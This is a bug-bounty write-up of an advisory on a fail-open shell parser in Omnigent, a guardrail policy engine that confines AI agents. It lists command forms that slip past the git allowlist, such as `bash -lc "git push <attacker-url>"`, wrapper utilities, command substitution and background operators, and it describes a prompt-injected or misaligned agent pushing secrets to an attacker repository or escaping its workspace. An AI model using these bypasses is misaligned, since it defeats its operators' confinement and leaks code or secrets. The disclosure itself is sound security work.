# Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py

Omnigent's shared shell-command parser fails open on unrecognized gated commands, letting a confined agent bypass GitHub repo/branch allowlists and workspace confinement via git push.

- Payout: Research
- Severity: high
- Program: Omnigent
- Found by: aaronjmars
- Disclosed: 2026-09-02
- CVE: CVE-2026-62676
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7mqg-cx4g-x2rf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7mqg-cx4g-x2rf
- Tags: area:ai domain:ai impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:python technique:parser-differential technique:source-review vuln:access-control vuln:command-injection vuln:misconfiguration

**Target:** Shell-command policy parser (policies/builtins/_shell.py) gating git operations
**Root cause:** The shared shell parser returns no operation for command forms it doesn't recognize; the policy evaluator treats None as abstain, which resolves to ALLOW instead of DENY, so unparsed gated commands bypass the GitHub allowlist and working-dir confinement.
**Steps:**
1. Confirm baseline: bare `git push <attacker-url>` and `env git push <attacker-url>` are DENY.
2. Wrap the gated command in combined interpreter flags: `bash -lc "git push <attacker-url>"` — parser produces no operation, policy returns None, command ALLOWed.
3. Alternatively use unlisted wrappers: `timeout` / `nice` / `setsid` / `stdbuf … git push …`.
4. Alternatively use command substitution: `x=$(git push <attacker-url>)`.
5. Alternatively use un-split background operator: `true & git push <attacker-url>`.
6. Observe push to attacker-controlled repo succeeds despite allowlist.
**How found:** Reporter read the shared parser and policy evaluator, noticed unrecognized commands yield None which maps to ALLOW, then enumerated shell constructs the parser misses (combined flags, wrappers, substitution, background operator) and verified each against the real policy code, while confirming bare and `env`-prefixed forms still DENY.
**Exploitation:** A prompt-injected or misaligned agent confined by Omnigent policies issues a gated git command in a form the parser doesn't recognize (e.g. `bash -lc "git push <attacker-url>"`); the evaluator abstains and allows, so the agent pushes code/secrets to an attacker repo, pushes to a protected branch, or escapes its workspace via `git worktree add` / `git -C <other-dir>`.
**Escalation:** Same fail-open parser also defeats working_dir.py confinement, enabling workspace escape beyond the repo allowlist bypass.
**Insight:** When a security gate's evaluator returns a tri-state (allow/deny/abstain), check what abstain resolves to — a fail-open default turns every parser gap into a bypass; enumerate shell wrappers, `-c` payloads, substitutions and control operators as parser-differential probes.